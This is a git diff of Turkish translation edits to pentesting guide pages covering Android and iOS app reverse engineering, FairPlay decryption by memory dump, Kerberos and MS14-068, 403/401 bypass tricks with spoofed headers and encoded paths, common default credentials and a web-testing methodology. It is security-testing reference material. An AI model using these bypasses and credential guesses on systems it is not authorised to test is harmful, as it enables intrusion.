- Bir tersine mühendislik uzmanının birkaç dakikasını boşa harcamak için gereksiz obfuscation yapmak;
 | 
			
		||||
- Deşifre edilmiş sonucu bir ZipInputStream'e beslemek ve bir DEX dosyası almak;
 | 
			
		||||
- Deşifre edilmiş sonucu bir ZipInputStream'e besleyerek bir DEX dosyası almak;
 | 
			
		||||
- Son olarak, elde edilen DEX'i `loadDex` yöntemi kullanarak bir Kaynak olarak yüklemek.
 | 
			
		||||
 | 
			
		||||
### [DeGuard](http://apk-deguard.com)
 | 
			
		||||
@ -720,7 +720,7 @@ APKiD, **bir APK'nın nasıl yapıldığını** size bildirir. Birçok **derleyi
 | 
			
		||||
 | 
			
		||||
### [Androl4b](https://github.com/sh4hin/Androl4b)
 | 
			
		||||
 | 
			
		||||
AndroL4b, tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitimler ve laboratuvarlar koleksiyonunu içeren ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir.
 | 
			
		||||
AndroL4b, ubuntu-mate tabanlı bir Android güvenlik sanal makinesidir ve tersine mühendislik ve kötü amaçlı yazılım analizi için farklı güvenlik uzmanları ve araştırmacılardan en son çerçeve, eğitim ve laboratuvar koleksiyonunu içerir.
 | 
			
		||||
 | 
			
		||||
## References
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -6,9 +6,9 @@
 | 
			
		||||
 | 
			
		||||
### **Bir iOS Cihazının UDID'sini Tanımlama**
 | 
			
		||||
 | 
			
		||||
Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulamasında** bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür.
 | 
			
		||||
Bir iOS cihazını benzersiz bir şekilde tanımlamak için 40 haneli bir dizi olan UDID kullanılır. macOS Catalina veya daha yenilerinde, bu **Finder uygulaması** içinde bulunabilir, çünkü iTunes artık mevcut değildir. Cihaz, USB ile bağlandığında ve Finder'da seçildiğinde, adı altındaki detaylar tıklandığında UDID'si diğer bilgilerle birlikte görünür.
 | 
			
		||||
 | 
			
		||||
Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes yardımcı olur. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir.
 | 
			
		||||
Catalina'dan önceki macOS sürümlerinde, UDID'nin keşfi için iTunes kullanılmaktadır. Ayrıntılı talimatlar [burada](http://www.iclarified.com/52179/how-to-find-your-iphones-udid) bulunabilir.
 | 
			
		||||
 | 
			
		||||
Komut satırı araçları, UDID'yi almak için alternatif yöntemler sunar:
 | 
			
		||||
 | 
			
		||||
@ -31,9 +31,9 @@ $ instruments -s devices
 | 
			
		||||
```
 | 
			
		||||
### **Cihaza Erişim Sağlama**
 | 
			
		||||
 | 
			
		||||
**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@<device_ip_address>` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi kritik öneme sahiptir.
 | 
			
		||||
**SSH erişimi**, jailbreak sonrası **OpenSSH paketi** yüklenerek etkinleştirilir ve `ssh root@<device_ip_address>` üzerinden bağlantılara izin verir. Cihazı güvence altına almak için `root` ve `mobile` kullanıcıları için varsayılan şifrelerin (`alpine`) değiştirilmesi önemlidir.
 | 
			
		||||
 | 
			
		||||
**USB üzerinden SSH**, Wi-Fi yokluğunda gereklidir ve SSH bağlantıları için cihaz portlarını eşlemek amacıyla `iproxy` kullanılır. Bu yapılandırma, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir:
 | 
			
		||||
**USB üzerinden SSH**, Wi-Fi yokluğunda gerekli hale gelir ve SSH bağlantıları için cihaz portlarını eşlemek üzere `iproxy` kullanılır. Bu kurulum, USB üzerinden SSH erişimi sağlamak için şu komutun çalıştırılmasını gerektirir:
 | 
			
		||||
```bash
 | 
			
		||||
$ iproxy 2222 22
 | 
			
		||||
$ ssh -p 2222 root@localhost
 | 
			
		||||
@ -48,7 +48,7 @@ Unutulan bir şifreyi varsayılan (`alpine`) olarak sıfırlamak için, `/privat
 | 
			
		||||
 | 
			
		||||
### **Uygulama Veri Dosyalarını Aktarma**
 | 
			
		||||
 | 
			
		||||
**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Veri dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Veri dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir:
 | 
			
		||||
**SSH ve SCP ile Arşivleme ve Geri Alma:** Uygulamanın Data dizinini `tar` kullanarak arşivlemek ve ardından `scp` ile aktarmak oldukça basittir. Aşağıdaki komut, Data dizinini bir .tgz dosyasına arşivler ve ardından cihazdan çekilir:
 | 
			
		||||
```bash
 | 
			
		||||
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
 | 
			
		||||
exit
 | 
			
		||||
@ -82,7 +82,7 @@ itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-so
 | 
			
		||||
 | 
			
		||||
### **Şifre Çözme Süreci**
 | 
			
		||||
 | 
			
		||||
**Manuel Şifre Çözme Genel Bakış:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenmiştir. Ters mühendislik yapmak için, şifrelenmemiş ikili dosyayı bellekten dökme işlemi yapılmalıdır. Şifre çözme süreci, PIE bayrağını kontrol etmeyi, bellek bayraklarını ayarlamayı, şifrelenmiş bölümü tanımlamayı ve ardından bu bölümü şifrelenmemiş haliyle değiştirmeyi içerir.
 | 
			
		||||
**Manuel Şifre Çözme Genel Bakış:** iOS uygulama ikili dosyaları Apple tarafından FairPlay kullanılarak şifrelenmiştir. Tersine mühendislik yapmak için, şifrelenmemiş ikili dosyayı bellekten dökme işlemi yapılmalıdır. Şifre çözme süreci, PIE bayrağını kontrol etmeyi, bellek bayraklarını ayarlamayı, şifrelenmiş bölümü tanımlamayı ve ardından bu bölümü şifrelenmemiş haliyle değiştirmeyi içerir.
 | 
			
		||||
 | 
			
		||||
**PIE Bayrağını Kontrol Etme ve Değiştirme:**
 | 
			
		||||
```bash
 | 
			
		||||
@ -92,7 +92,7 @@ otool -Vh Hello_World
 | 
			
		||||
```
 | 
			
		||||
**Şifreli Bölümü Belirleme ve Belleği Dökme:**
 | 
			
		||||
 | 
			
		||||
`otool` kullanarak şifreli bölümün başlangıç ve bitiş adreslerini belirleyin ve jailbreak yapılmış cihazdan belleği gdb kullanarak dökün.
 | 
			
		||||
Şifreli bölümün başlangıç ve bitiş adreslerini `otool` kullanarak belirleyin ve jailbreak yapılmış cihazdan belleği gdb kullanarak dökün.
 | 
			
		||||
```bash
 | 
			
		||||
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
 | 
			
		||||
dump memory dump.bin 0x8000 0x10a4000
 | 
			
		||||
@ -103,13 +103,13 @@ Orijinal uygulama ikili dosyasındaki şifreli bölümü, deşifre edilmiş dök
 | 
			
		||||
```bash
 | 
			
		||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
 | 
			
		||||
```
 | 
			
		||||
**Şifre Çözümlemenin Tamamlanması:** Şifrelemenin yokluğunu belirtmek için ikili dosyanın meta verilerini **MachOView** gibi araçlarla değiştirin, `cryptid` değerini 0 olarak ayarlayın.
 | 
			
		||||
**Şifre Çözümlemenin Tamamlanması:** Şifrelemenin yokluğunu belirtmek için ikili dosyanın meta verilerini **MachOView** gibi araçlar kullanarak değiştirin, `cryptid` değerini 0 olarak ayarlayın.
 | 
			
		||||
 | 
			
		||||
### **Şifre Çözme (Otomatik Olarak)**
 | 
			
		||||
 | 
			
		||||
#### **frida-ios-dump**
 | 
			
		||||
 | 
			
		||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu ile veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir.
 | 
			
		||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) aracı, iOS cihazlarından **otomatik olarak uygulamaları şifre çözmek ve çıkarmak** için kullanılır. Öncelikle, `dump.py` dosyasını iOS cihazına bağlanacak şekilde yapılandırmak gerekir; bu, **iproxy** aracılığıyla localhost üzerinden 2222 portu veya doğrudan cihazın IP adresi ve portu üzerinden yapılabilir.
 | 
			
		||||
 | 
			
		||||
Cihazda yüklü olan uygulamalar şu komutla listelenebilir:
 | 
			
		||||
```bash
 | 
			
		||||
@ -146,25 +146,25 @@ bagbak --raw Chrome
 | 
			
		||||
 | 
			
		||||
#### **Sideloading Araçları**
 | 
			
		||||
 | 
			
		||||
- **Cydia Impactor**: iOS için IPA dosyalarını ve Android için APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir.
 | 
			
		||||
- **Cydia Impactor**: iOS'ta IPA dosyalarını ve Android'de APK dosyalarını imzalamak ve yüklemek için bir araçtır. Kılavuzlar ve sorun giderme bilgileri [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/) adresinde bulunabilir.
 | 
			
		||||
 | 
			
		||||
- **libimobiledevice**: iOS cihazlarıyla iletişim kurmak için Linux ve macOS için bir kütüphanedir. USB üzerinden uygulama yüklemek için ideviceinstaller için kurulum komutları ve kullanım örnekleri sağlanmıştır.
 | 
			
		||||
 | 
			
		||||
- **ipainstaller**: Bu komut satırı aracı, iOS cihazlarında doğrudan uygulama yüklemeye olanak tanır.
 | 
			
		||||
 | 
			
		||||
- **ios-deploy**: macOS kullanıcıları için, ios-deploy komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır.
 | 
			
		||||
- **ios-deploy**: macOS kullanıcıları için ios-deploy, komut satırından iOS uygulamalarını yükler. IPA dosyasını açmak ve doğrudan uygulama başlatmak için `-m` bayrağını kullanmak sürecin bir parçasıdır.
 | 
			
		||||
 | 
			
		||||
- **Xcode**: Uygulamaları yüklemek için Xcode'u kullanarak **Window/Devices and Simulators** bölümüne gidin ve uygulamayı **Installed Apps** kısmına ekleyin.
 | 
			
		||||
 | 
			
		||||
#### **iPad Dışı Cihazlarda Uygulama Yüklemeye İzin Ver**
 | 
			
		||||
 | 
			
		||||
iPhone veya iPod touch cihazlarında iPad'e özel uygulamaları yüklemek için, **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak bu değişiklik, imza doğrulama kontrolleri nedeniyle IPA dosyasının yeniden imzalanmasını gerektirir.
 | 
			
		||||
iPhone veya iPod touch cihazlarında iPad'e özel uygulamaları yüklemek için **Info.plist** dosyasındaki **UIDeviceFamily** değeri **1** olarak değiştirilmelidir. Ancak bu değişiklik, imza doğrulama kontrolleri nedeniyle IPA dosyasının yeniden imzalanmasını gerektirir.
 | 
			
		||||
 | 
			
		||||
**Not**: Bu yöntem, uygulama daha yeni iPad modellerine özgü yetenekler talep ediyorsa, eski bir iPhone veya iPod touch kullanırken başarısız olabilir.
 | 
			
		||||
 | 
			
		||||
## Referanslar
 | 
			
		||||
 | 
			
		||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
 | 
			
		||||
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
 | 
			
		||||
 | 
			
		||||
@ -6,16 +6,16 @@
 | 
			
		||||
 | 
			
		||||
**Kerberos**, kullanıcıları kaynaklara doğrudan erişimlerini yönetmeden kimlik doğrulaması yapma prensibi üzerine çalışır. Bu, protokolün güvenlik çerçevelerindeki rolünü vurguladığı için önemli bir ayrımdır.
 | 
			
		||||
 | 
			
		||||
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamak için güvenli bir yol sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
 | 
			
		||||
**Active Directory** gibi ortamlarda, **Kerberos**, kullanıcıların gizli şifrelerini doğrulayarak kimliklerini belirlemede önemli bir rol oynar. Bu süreç, her kullanıcının kimliğinin, ağ kaynaklarıyla etkileşime girmeden önce doğrulandığını garanti eder. Ancak, **Kerberos**, bir kullanıcının belirli kaynaklar veya hizmetler üzerindeki izinlerini değerlendirme veya uygulama işlevselliğini genişletmez. Bunun yerine, kullanıcıları kimlik doğrulamanın güvenli bir yolunu sağlar; bu, güvenlik sürecindeki kritik bir ilk adımdır.
 | 
			
		||||
 | 
			
		||||
**Kerberos** tarafından kimlik doğrulandıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimi için daha esnek ve güvenli bir yaklaşım sağlar.
 | 
			
		||||
**Kerberos** tarafından kimlik doğrulama yapıldıktan sonra, kaynaklara erişimle ilgili karar verme süreci, ağ içindeki bireysel hizmetlere devredilir. Bu hizmetler, **Kerberos** tarafından sağlanan kullanıcı ayrıcalıkları bilgisine dayanarak, kimliği doğrulanmış kullanıcının haklarını ve izinlerini değerlendirmekten sorumludur. Bu tasarım, kullanıcıların kimliğini doğrulama ile erişim haklarını yönetme arasında bir ayrım yapılmasına olanak tanır ve dağıtık ağlarda kaynak yönetimine daha esnek ve güvenli bir yaklaşım sağlar.
 | 
			
		||||
 | 
			
		||||
**Varsayılan Port:** 88/tcp/udp
 | 
			
		||||
```
 | 
			
		||||
PORT   STATE SERVICE
 | 
			
		||||
88/tcp open  kerberos-sec
 | 
			
		||||
```
 | 
			
		||||
### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/)** hakkında yazıyı okumalısınız.**
 | 
			
		||||
### **Kerberos'ü kötüye kullanmayı öğrenmek için** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)** hakkında yazıyı okumalısınız.**
 | 
			
		||||
 | 
			
		||||
## Daha Fazla
 | 
			
		||||
 | 
			
		||||
@ -25,7 +25,7 @@ PORT   STATE SERVICE
 | 
			
		||||
 | 
			
		||||
### MS14-068
 | 
			
		||||
 | 
			
		||||
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır, örneğin bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
 | 
			
		||||
MS14-068 açığı, bir saldırganın meşru bir kullanıcının Kerberos oturum açma jetonunu değiştirmesine ve yanlış bir şekilde yükseltilmiş ayrıcalıklar talep etmesine olanak tanır; örneğin, bir Domain Admin olarak. Bu sahte talep, Domain Controller tarafından yanlışlıkla doğrulanır ve bu da Active Directory ormanı genelinde ağ kaynaklarına yetkisiz erişim sağlar.
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
https://adsecurity.org/?p=541
 | 
			
		||||
 | 
			
		||||
@ -4,17 +4,17 @@
 | 
			
		||||
 | 
			
		||||
## HTTP Fiilleri/Yöntemleri Fuzzing
 | 
			
		||||
 | 
			
		||||
Farklı **fiiller** kullanarak dosyaya erişmeyi deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 | 
			
		||||
Dosyaya erişmek için **farklı fiiller** kullanmayı deneyin: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
 | 
			
		||||
 | 
			
		||||
- Yanıt başlıklarını kontrol edin, belki bazı bilgiler verilebilir. Örneğin, **HEAD** için **200 yanıtı** ve `Content-Length: 55` demek ki **HEAD fiili bilgiye erişebilir**. Ama yine de o bilgiyi dışarı çıkarmanın bir yolunu bulmalısınız.
 | 
			
		||||
- `X-HTTP-Method-Override: PUT` gibi bir HTTP başlığı kullanmak, kullanılan fiili geçersiz kılabilir.
 | 
			
		||||
- **`TRACE`** fiilini kullanın ve çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir.
 | 
			
		||||
- **`TRACE`** fiilini kullanın ve eğer çok şanslıysanız belki yanıt içinde **ara proxy'ler tarafından eklenen başlıkları** görebilirsiniz, bu başlıklar faydalı olabilir.
 | 
			
		||||
 | 
			
		||||
## HTTP Başlıkları Fuzzing
 | 
			
		||||
 | 
			
		||||
- **Host başlığını** rastgele bir değere değiştirin ([burada işe yaradı](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
 | 
			
		||||
- Kaynağa erişmek için [**diğer Kullanıcı Ajanlarını**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt) kullanmayı deneyin.
 | 
			
		||||
- **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
 | 
			
		||||
- **HTTP Başlıklarını Fuzzing**: HTTP Proxy **Başlıkları**, HTTP Kimlik Doğrulama Temel ve NTLM brute-force (sadece birkaç kombinasyon ile) ve diğer teknikleri kullanmayı deneyin. Bütün bunları yapmak için [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) aracını oluşturdum.
 | 
			
		||||
 | 
			
		||||
- `X-Originating-IP: 127.0.0.1`
 | 
			
		||||
- `X-Forwarded-For: 127.0.0.1`
 | 
			
		||||
@ -35,7 +35,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a
 | 
			
		||||
- `X-Original-URL: /admin/console`
 | 
			
		||||
- `X-Rewrite-URL: /admin/console`
 | 
			
		||||
 | 
			
		||||
- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/) **veya** [**hop-by-hop başlıklarını**](../../pentesting-web/abusing-hop-by-hop-headers.md)** kötüye kullanmayı deneyin.**
 | 
			
		||||
- Eğer sayfa **bir proxy'nin arkasındaysa**, belki de proxy, özel bilgilere erişmenizi engelliyordur. [**HTTP İstek Kaçırma**](../../pentesting-web/http-request-smuggling/index.html) **veya** [**hop-by-hop başlıkları**](../../pentesting-web/abusing-hop-by-hop-headers.md)**'nı kötüye kullanmayı deneyin.**
 | 
			
		||||
- Farklı yanıtlar aramak için [**özel HTTP başlıklarını**](special-http-headers.md) fuzzing yapın.
 | 
			
		||||
- **HTTP Yöntemlerini** fuzzing yaparken **özel HTTP başlıklarını** fuzzing yapın.
 | 
			
		||||
- **Host başlığını kaldırın** ve belki de korumayı aşabileceksiniz.
 | 
			
		||||
@ -44,7 +44,7 @@ Eğer **yol korunuyorsa**, bu diğer başlıkları kullanarak yol korumasını a
 | 
			
		||||
 | 
			
		||||
Eğer _/path_ engellenmişse:
 | 
			
		||||
 | 
			
		||||
- _**/**_**%2e/path _kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin.
 | 
			
		||||
- _**/**_**%2e/path_ kullanmayı deneyin (eğer erişim bir proxy tarafından engelleniyorsa, bu korumayı aşabilir). Ayrıca **\_\*\* /%252e\*\*/path** (çift URL kodlaması) deneyin.
 | 
			
		||||
- **Unicode bypass** deneyin: _/**%ef%bc%8f**path_ (URL kodlu karakterler "/" gibidir) böylece geri kodlandığında _//path_ olacak ve belki de _/path_ adı kontrolünü aşmış olacaksınız.
 | 
			
		||||
- **Diğer yol bypass'ları**:
 | 
			
		||||
- site.com/secret –> HTTP 403 Yasak
 | 
			
		||||
@ -87,13 +87,13 @@ HTTP/1.1 kullanıyorsanız **1.0 kullanmayı deneyin** veya **2.0'ı destekleyip
 | 
			
		||||
## **Diğer Bypass'lar**
 | 
			
		||||
 | 
			
		||||
- Alan adının **IP** veya **CNAME**'sini alın ve **doğrudan iletişim kurmayı** deneyin.
 | 
			
		||||
- Sunucuyu **stres altına almak için** yaygın GET istekleri gönderin ([Bu adam için Facebook'ta işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
 | 
			
		||||
- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye.
 | 
			
		||||
- **Sunucuya baskı yapmayı** deneyin, yaygın GET istekleri gönderin ([Bu adam için işe yaradı](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
 | 
			
		||||
- **Protokolü değiştirin**: http'den https'ye veya https'den http'ye geçin.
 | 
			
		||||
- [**https://archive.org/web/**](https://archive.org/web/) adresine gidin ve geçmişte o dosyanın **dünya çapında erişilebilir olup olmadığını** kontrol edin.
 | 
			
		||||
 | 
			
		||||
## **Brute Force**
 | 
			
		||||
 | 
			
		||||
- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Ya da CTF meydan okuma adı?
 | 
			
		||||
- **Şifreyi tahmin edin**: Aşağıdaki yaygın kimlik bilgilerini test edin. Kurban hakkında bir şey biliyor musunuz? Yoksa CTF meydan okuma adını mı biliyorsunuz?
 | 
			
		||||
- [**Brute force**](../../generic-hacking/brute-force.md#http-brute)**:** Temel, digest ve NTLM kimlik doğrulamasını deneyin.
 | 
			
		||||
```:Common creds
 | 
			
		||||
admin    admin
 | 
			
		||||
 | 
			
		||||
@ -25,38 +25,38 @@ web-api-pentesting.md
 | 
			
		||||
 | 
			
		||||
## Metodoloji özeti
 | 
			
		||||
 | 
			
		||||
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece bunu. Bu nedenle, bu metodolojiyi keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için uygulamalısınız.
 | 
			
		||||
> Bu metodolojide, bir alan adını (veya alt alan adını) hedef alacağınızı varsayıyoruz ve sadece buna odaklanıyoruz. Bu nedenle, keşfedilen her alan adı, alt alan adı veya belirsiz web sunucusuna sahip IP için bu metodolojiyi uygulamalısınız.
 | 
			
		||||
 | 
			
		||||
- [ ] **Web sunucusu** tarafından kullanılan **teknolojileri** **belirleyerek** başlayın. Teknolojiyi başarıyla tanımlayabilirseniz, testin geri kalanında aklınızda bulundurmanız gereken **ipuçları** arayın.
 | 
			
		||||
- [ ] Teknolojinin sürümüne ait herhangi bir **bilinen zafiyet** var mı?
 | 
			
		||||
- [ ] Herhangi bir **iyi bilinen teknoloji** mi kullanılıyor? Daha fazla bilgi çıkarmak için herhangi bir **yararlı ipucu** var mı?
 | 
			
		||||
- [ ] Çalıştırılacak herhangi bir **uzman tarayıcı** var mı (örneğin wpscan)?
 | 
			
		||||
- [ ] **Genel amaçlı tarayıcılar** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
 | 
			
		||||
- [ ] **Genel amaçlı tarayıcıları** başlatın. Ne bulacaklarını veya ilginç bilgiler bulup bulamayacaklarını asla bilemezsiniz.
 | 
			
		||||
- [ ] **Başlangıç kontrolleri** ile başlayın: **robots**, **sitemap**, **404** hatası ve **SSL/TLS taraması** (eğer HTTPS ise).
 | 
			
		||||
- [ ] Web sayfasını **spidering** yapmaya başlayın: Tüm olası **dosyaları, klasörleri** ve **kullanılan parametreleri bulma** zamanı. Ayrıca, **özel bulgular** için kontrol edin.
 | 
			
		||||
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de spidering yapılmalıdır._
 | 
			
		||||
- [ ] **Dizin Brute-Forcing**: Keşfedilen tüm klasörleri brute force yaparak yeni **dosyalar** ve **dizinler** arayın.
 | 
			
		||||
- [ ] _Brute-forcing veya spidering sırasında yeni bir dizin keşfedildiğinde, o dizin de Brute-Forced yapılmalıdır._
 | 
			
		||||
- [ ] **Yedek kontrolü**: Keşfedilen **dosyaların** **yedeklerini** bulup bulamayacağınızı test edin, yaygın yedek uzantılarını ekleyerek.
 | 
			
		||||
- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** **bulmaya** çalışın.
 | 
			
		||||
- [ ] **Brute-Force parametreleri**: **Gizli parametreleri** bulmaya çalışın.
 | 
			
		||||
- [ ] Tüm olası **kullanıcı girişi** kabul eden **endpoint'leri** **belirledikten** sonra, bunlarla ilgili her türlü **zafiyeti** kontrol edin.
 | 
			
		||||
- [ ] [Bu kontrol listesini takip edin](../../pentesting-web/web-vulnerabilities-methodology.md)
 | 
			
		||||
 | 
			
		||||
## Sunucu Sürümü (Zafiyetli mi?)
 | 
			
		||||
 | 
			
		||||
### Belirle
 | 
			
		||||
### Belirleme
 | 
			
		||||
 | 
			
		||||
Çalışan sunucu **sürümü** için **bilinen zafiyetler** olup olmadığını kontrol edin.\
 | 
			
		||||
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da yararlı olabilir:**
 | 
			
		||||
**HTTP başlıkları ve yanıtın çerezleri**, kullanılan **teknolojileri** ve/veya **sürümü** **belirlemek** için çok yararlı olabilir. **Nmap taraması** sunucu sürümünü belirleyebilir, ancak [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech) veya [**https://builtwith.com/**](https://builtwith.com)** gibi araçlar da faydalı olabilir:**
 | 
			
		||||
```bash
 | 
			
		||||
whatweb -a 1 <URL> #Stealthy
 | 
			
		||||
whatweb -a 3 <URL> #Aggresive
 | 
			
		||||
webtech -u <URL>
 | 
			
		||||
webanalyze -host https://google.com -crawl 2
 | 
			
		||||
```
 | 
			
		||||
Arama **için** [**web uygulamasının** **sürüm** **açıklarını**](../../generic-hacking/search-exploits.md)
 | 
			
		||||
Search **for** [**web uygulamasının** **sürümündeki** **zafiyetleri**](../../generic-hacking/search-exploits.md)
 | 
			
		||||
 | 
			
		||||
### **Herhangi bir WAF olup olmadığını kontrol et**
 | 
			
		||||
### **Herhangi bir WAF'yi kontrol et**
 | 
			
		||||
 | 
			
		||||
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
 | 
			
		||||
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
 | 
			
		||||
@ -64,14 +64,14 @@ Arama **için** [**web uygulamasının** **sürüm** **açıklarını**](../../g
 | 
			
		||||
 | 
			
		||||
### Web teknoloji hileleri
 | 
			
		||||
 | 
			
		||||
Farklı iyi bilinen **teknolojilerdeki** **açıkları** bulmak için bazı **hileler**:
 | 
			
		||||
Farklı iyi bilinen **teknolojilerdeki** **zafiyetleri** bulmak için bazı **hileler**:
 | 
			
		||||
 | 
			
		||||
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
 | 
			
		||||
- [**Apache**](apache.md)
 | 
			
		||||
- [**Artifactory**](artifactory-hacking-guide.md)
 | 
			
		||||
- [**Buckets**](buckets/)
 | 
			
		||||
- [**Buckets**](buckets/index.html)
 | 
			
		||||
- [**CGI**](cgi.md)
 | 
			
		||||
- [**Drupal**](drupal/)
 | 
			
		||||
- [**Drupal**](drupal/index.html)
 | 
			
		||||
- [**Flask**](flask.md)
 | 
			
		||||
- [**Git**](git.md)
 | 
			
		||||
